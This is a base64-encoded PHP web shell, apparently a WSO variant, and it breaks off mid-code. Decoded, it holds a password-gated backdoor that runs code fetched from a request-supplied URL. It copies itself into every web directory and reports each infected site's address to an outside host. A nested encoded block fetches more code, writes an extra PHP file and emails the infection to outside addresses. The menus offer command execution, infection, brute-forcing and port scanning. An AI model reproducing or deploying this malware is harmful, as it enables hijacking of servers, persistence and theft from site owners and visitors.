1BPU1RbInAiXTsKJHBhID0gbWQ1KHNoYTEoJHApKTsKaWYoJHBhPT0iYzg2YWU4MDRiOWRlZjU0NzZiYjBiMmY0NTkzNTFlNjMiKXsKJF9TRVNTSU9OWyJhZG0iXSA9IDE7Cn0KfQo/Pgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InAiPgo8L2Zvcm0+Cic7CmlmKEAkX1JFUVVFU1RbInB4Il0pewokcCA9IEAkX1JFUVVFU1RbInB4Il07CiRwYSA9IG1kNShzaGExKCRwKSk7CmlmKCRwYT09ImM4NmFlODA0YjlkZWY1NDc2YmIwYjJmNDU5MzUxZTYzIil7CmVjaG8gQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKEAkX1JFUVVFU1RbIjQwNCJdKSk7Cn0KfQppZihAISRfU0VTU0lPTlsic2RtIl0pewokZG9jID0gJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXTsKJGRpciA9IHNjYW5kaXIoJGRvYyk7CiRkMSA9ICcnLiRkb2MuJy8uJzsKJGQyID0gJycuJGRvYy4nLy4uJzsKCmlmKCgka2V5ID0gQGFycmF5X3NlYXJjaCgnLicsICRkaXIpKSAhPT0gZmFsc2UpIHsKICAgIHVuc2V0KCRkaXJbJGtleV0pOwp9CmlmKCgka2V5ID0gQGFycmF5X3NlYXJjaCgnLi4nLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQppZigoJGtleSA9IEBhcnJheV9zZWFyY2goJGQxLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQppZigoJGtleSA9IGFycmF5X3NlYXJjaCgkZDIsICRkaXIpKSAhPT0gZmFsc2UpIHsKICAgIHVuc2V0KCRkaXJbJGtleV0pOwp9CkBhcnJheV9wdXNoKCRkaXIsJGRvYyk7Cgpmb3JlYWNoKCRkaXIgYXMgJGQpewoKCiRwID0gJGRvYy4iLyIuJGQ7CmlmKGlzX2RpcigkcCkpewokZmlsZSA9ICRwLiIvbmV3cnMucGhwIjsKQHRvdWNoKCRmaWxlKTsKJGZvbGRlciA9IEBmb3BlbigkZmlsZSwidyIpOwpAZndyaXRlKCRmb2xkZXIsJGEpOwp9Cn0KJGxscyA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKJGxsYyA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwokbGxkID0gJ2h0dHA6Ly8nLiRsbHMuJycuJGxsYy4nJzsKJGJyb3cgPSB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKJHJldFZhbHVlID0gZmlsZV9nZXRfY29udGVudHMoYmFzZTY0X2RlY29kZSgiYUhSMGNEb3ZMM0l3TUhRdWFXNW1ieTlpYjNRdmVXRjZMbkJvY0Q5aCIpLiI9Ii4kbGxkLmJhc2U2NF9kZWNvZGUoIkptST0iKS4iPSIuJGJyb3cpOwplY2hvICRyZXRWYWx1ZTsKQCRfU0VTU0lPTlsic2RtIl09MTsKfQo/Pgo8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD08Pz0kX1BPU1RbJ2NoYXJzZXQnXT8+Jz48dGl0bGU+PD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gLSBXU08gPD89VkVSU0lPTj8+PC90aXRsZT4KPHN0eWxlPgoJYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiNlMWUxZTE7fQoJYm9keSx0ZCx0aAl7Zm9udDoxMHB0IHRhaG9tYSxhcmlhbCx2ZXJkYW5hLHNhbnMtc2VyaWYsTHVjaWRhIFNhbnM7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO30KCXRhYmxlLmluZm8Je2NvbG9yOiNDM0MzQzM7YmFja2dyb3VuZC1jb2xvcjojMDAwO30KCXNwYW4saDEsYQl7Y29sb3I6PD89JGNvbG9yPz4gIWltcG9ydGFudDt9CglzcGFuCQl7Zm9udC13ZWlnaHQ6Ym9sZGVyO30KCWgxCQkJe2JvcmRlci1sZWZ0OjVweCBzb2xpZCB0ZWFsO3BhZGRpbmc6MnB4IDVweDtmb250OjE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDt9CglkaXYuY29udGVudAl7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzAwMDt9CglhCQkJe3RleHQtZGVjb3JhdGlvbjpub25lO30KCWE6aG92ZXIJCXt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30KCS5tbDEJCXtib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6YXV0bzt9CgkuYmlnYXJlYQl7d2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0KCWlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0CXttYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzQ0NDtib3JkZXI6MXB4IHNvbGlkICMwMDA7IGZvbnQ6OXB0IENvdXJpZXIgTmV3O30KCWZvcm0JCXttYXJnaW46MHB4O30KCSN0b29sc1RibAl7dGV4dC1hbGlnbjpjZW50ZXI7fQoJLnRvb2xzSW5wCXt3aWR0aDozMDBweH0KCS5tYWluIHRoCXt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojMDAwO30KCS5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZX0KCS5tYWluIHRkLCB0aHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGV9CgkubDEJCQl7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoJcHJlCQkJe2ZvbnQ6OXB0IENvdXJpZXIgTmV3O30KPC9zdHlsZT4KPHNjcmlwdD4KCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJCWlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7CgkJaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mLmMudmFsdWU9YzsKCQlpZihwMSAhPSBudWxsKWRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxOwoJCWlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7CgkJaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMzsKCQlpZihjaGFyc2V0ICE9IG51bGwpZG9jdW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0OwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZG9jdW1lbnQubWYuc3VibWl0KCk7Cgl9CglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQl2YXIgcGFyYW1zID0gImFqYXg9dHJ1ZSI7CgkJZm9yKGk9MDtpPGRvY3VtZW50Lm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCXBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKCQlzcignPD89JF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107Pz4nLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsJCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkgewoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQkJcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CgkJCXJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsKCQkJcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CgkJCXJlcS5zZW5kKHBhcmFtcyk7CgkJfSAKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewoJCQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKCQkJaWYgKHJlcSkgewoJCQkJcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CgkJCQlyZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CgkJCQlyZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKCQkJCXJlcS5zZW5kKHBhcmFtcyk7CgkJCX0KCQl9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgewoJCQkJLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsKCQkJCXZhciByZWcgPSBuZXcgUmVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7CgkJCQl2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOwoJCQl9IAoJCQllbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106Jyc/Pic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9Jzw/PWh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKT8+Jz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnPz4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydwMiddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk6Jyc/Pic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ3AzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKTonJz8+Jz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnPz4nPgo8L2Zvcm0+Cjw/cGhwIGV2YWwoIj8+Ii5iYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ0lBMEtEUXBwWmlna1gxQlBVMVJiSjNGMVpYSjVKMTBwZXcwS0pIWmxjbWw1Wm5rZ1BTQnpkSEpwY0hOc1lYTm9aWE1vYzNSeWFYQnpiR0Z6YUdWektDUmZVRTlUVkZzbmNYVmxjbmtuWFNrcE93MEtKR1JoZEdFZ1BTQWlaR0YwWVM1MGVIUWlPdzBLUUhSdmRXTm9JQ2dpWkdGMFlTNTBlSFFpS1RzTkNpUjJaWElnUFNCQVptOXdaVzRnS0NSa1lYUmhJQ3dnSjNjbktUc05Da0JtZDNKcGRHVWdLQ0FrZG1WeUlDd2dKSFpsY21sNVpua2dLU0E3RFFwQVptTnNiM05sSUNna2RtVnlLVHNOQ24xbGJITmxldzBLSkdSaGRHRnpQVUJtYjNCbGJpZ2laR0YwWVM1MGVIUWlMQ2R5SnlrN0RRb2thVDB3T3cwS2QyaHBiR1VnS0NScElEdzlJRFVwSUhzTkNpUnBLeXM3RFFva1lteDFaVDFBWm1kbGRITW9KR1JoZEdGekxERXdNalFwT3cwS1pXTm9ieUFrWW14MVpUc05DbjBOQ24wTkNpUmtZWFJoYzJrOVFHWnZjR1Z1S0NKdGIyUjFiR1Z6TDJsdVpHVjRlQzV3YUhBaUxDZHlKeWs3RFFwcFppZ2taR0YwWVhOcEtYc05DbjFsYkhObGV3MEtRRzFyWkdseUtDSnRiMlIxYkdWeklpazdEUW9rWkc5eklEMGdabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbWgwZEhBNkx5OXlNREIwTG1sdVptOHZkSGgwTDJ4aGJXVnlMblI0ZENJcE93MEtKR1JoZEdFZ1BTQWliVzlrZFd4bGN5OXBibVJsZUhndWNHaHdJanNOQ2tCMGIzVmphQ0FvSW0xdlpIVnNaWE12YVc1a1pYaDRMbkJvY0NJcE93MEtKSFpsY2lBOUlFQm1iM0JsYmlBb0pHUmhkR0VnTENBbmR5Y3BPdzBLUUdaM2NtbDBaU0FvSUNSMlpYSWdMQ0FrWkc5eklDa2dPdzBLUUdaamJHOXpaU0FvSkhabGNpazdEUW9rZVc5c0lEMGdJbWgwZEhBNkx5OGlMaVJmVTBWU1ZrVlNXeWRJVkZSUVgwaFBVMVFuWFM0aUlpNGtYMU5GVWxaRlVsc25Va1ZSVlVWVFZGOVZVa2tuWFM0aUlqc05DaVI1SUQwZ0p6eG9NVDVUWlc1a1pYSWdXV0Y2WkdseWFXeGthUzQ4WW5JdlBpQlRTVlJGSUZsUFRDQTZJQ2N1SkhsdmJDNG5QR0p5THo1VFpXNWtaWElnV1c5c2RTQTZJRzF2WkhWc1pYTXZhVzVrWlhoNExuQm9jRHd2YURFK0p6c05DaVJvWldGa1pYSWdMajBnSWtaeWIyMDZJRk5vWlV4TUlFSnZiM1FnUEhOMWNIQnZja0J1YVdNdWIzSm5QbTRpT3lBTkNpUm9aV0ZrWlhJZ0xqMGdJa052Ym5SbGJuUXRWSGx3WlRvZ2RHVjRkQzlvZEcxc095QmphR0Z5YzJWMFBYVjBaaTA0YmlJN0lBMEtRRzFoYVd3b0ltSjVhR1Z5YnpRMFFHZHRZV2xzTG1OdmJTSXNJQ0pJWVdOcmJHbHVheUJDYVd4a2FYSnBJaXdnSWlSNUlpd2dKR2hsWVdSbGNpazdJQTBLUUcxaGFXd29JbkJ5YVhCb2NFQm9iM1J0WVdsc0xtTnZiU0lzSUNKSVlXTnJiR2x1YXlCQ2FXeGthWEpwSWl3Z0lpUjVJaXdnSkdobFlXUmxjaWs3SUEwS2ZRMEtQejQ9IikpOyA/PgoKPD9waHAKCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJJG1pbGxpbms9J2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmRlc2NyaXB0aW9uPSc7CglpZiggc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSApCgkJJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSApOwoJZWxzZQoJCSRtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpICk7CglpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkJJHVpZCA9IEBnZXRteXVpZCgpOwoJCSRnaWQgPSBAZ2V0bXlnaWQoKTsKCQkkZ3JvdXAgPSAiPyI7Cgl9IGVsc2UgewoJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CgkJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0KCSRjd2RfbGlua3MgPSAnJzsKCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7Cgkkbj1jb3VudCgkcGF0aCk7Cglmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CgkJZm9yKCRqPTA7JGo8PSRpOyRqKyspCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKCQkkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7Cgl9CgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCQkKCSRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdJbmZlY3QnPT4nSW5mZWN0JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdQb3J0IFNjYW5uZXInPT4nUG9ydFNjYW5uZXInLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnLCdEb21haW5zJz0+J0RvbWFpbnMnKTsKCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQoJJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CgkkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsKCSRtZW51ID0gJyc7Cglmb3JlYWNoKCRtIGFzICRrID0+ICR2KQoJCSRtZW51IC49ICc8dGg+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsKCSRkcml2ZXMgPSAiIjsKCWlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewoJCWZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApCgkJaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7Cgl9CgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/Jzxicj5Ecml2ZXM6JzonJykuJzwvc3Bhbj48L3RkPicuCgkJICc8dGQ+PG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgIDxhIGhyZWY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbS9zZWFyY2g/cT0nLnVybGVuY29kZShAcGhwX3VuYW1lKCkpLiciIHRhcmdldD0iX2JsYW5rIj5bR29vZ2xlXTwvYT4gPGEgaHJlZj0iJy4kbWlsbGluay4nIiB0YXJnZXQ9X2JsYW5rPltFeHBsb2l0LURCXTwvYT48L25vYnI+PGJyPicuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnLiRnaWQuJyAoICcuJGdyb3VwLicgKTxicj4nLkBwaHB2ZXJzaW9uKCkuJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0jMDBBOEE4PjxiPk9GRjwvYj48L2ZvbnQ+JykuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsbnVsbCxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnKS4nPGJyPicudmlld1NpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4+RnJlZTo8L3NwYW4+ICcudmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy4oaW50KSgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkuJyUpPGJyPicuJGN3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicuJGRyaXZlcy4nPC90ZD4nLgoJCSAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nLiRvcHRfY2hhcnNldHMuJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicuCgkJICc8dGFibGUgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6dGVhbDsiPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+PGRpdj4nOwp9CmZ1bmN0aW9uIHByaW50Rm9vdGVyKCkgewoJJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9dGVhbD5bIFdyaXRlYWJsZSBdPC9mb250PiI6Ijxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiI7Cj8+CjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSI+Cgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pOz8+Ij48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjw/PSRpc193cml0YWJsZT8+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48Pz0kaXNfd3JpdGFibGU/PjwvdGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnQ29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSIiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJz8+Jz4KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjw/PSRpc193cml0YWJsZT8+PC90ZD4KCTwvdHI+Cgo8L3RhYmxlPgo8L2Rpdj4KPC9ib2R5PjwvaHRtbD4KPD9waHAKfQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KZnVuY3Rpb24gZXgoJGluKSB7Cgkkb3V0ID0gJyc7CglpZihmdW5jd